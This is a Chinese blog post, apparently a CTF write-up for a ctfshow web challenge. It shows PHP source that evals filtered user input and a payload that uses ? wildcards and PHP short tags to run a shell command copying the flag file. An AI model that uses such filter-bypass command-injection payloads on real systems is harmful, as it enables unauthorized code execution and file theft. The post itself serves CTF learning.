CTF web之旅 32

ctfshow web 红包题第二弹

按照提示传入?cmd  看到一下源码

<?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
        
        }
    
     ?>

可以发现p和?是没有被过滤掉的

看了师傅的payload

?cmd=?><?=`/???/?p /???????? p.ppp`;?>

功能相当于是

?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>
乍一看感觉很奇妙
推测是?应该是被当做了通配符 在linux试了以下确实是这样  
比如说 cd /???? 会匹配四个字符的目录,并且按照字母顺序优先选择靠前的
这题还有一点需要知道的是https://www.cnblogs.com/fnlingnzb-learner/p/10656375.html
/bin/cp 代表的是脚本文件执行的目录
拓展以下linux的命令目录
https://blog.csdn.net/u010013573/article/details/89007663
知道以上这些linux的知识 应该就好理解了

?>是闭合标签  <?=?>是PHP短标签
传入payload得到 前往url/p.ppp 目录可下载flag文件


 

 

posted @ 2021-04-21 18:59  C10ud  阅读(94)  评论(0编辑  收藏  举报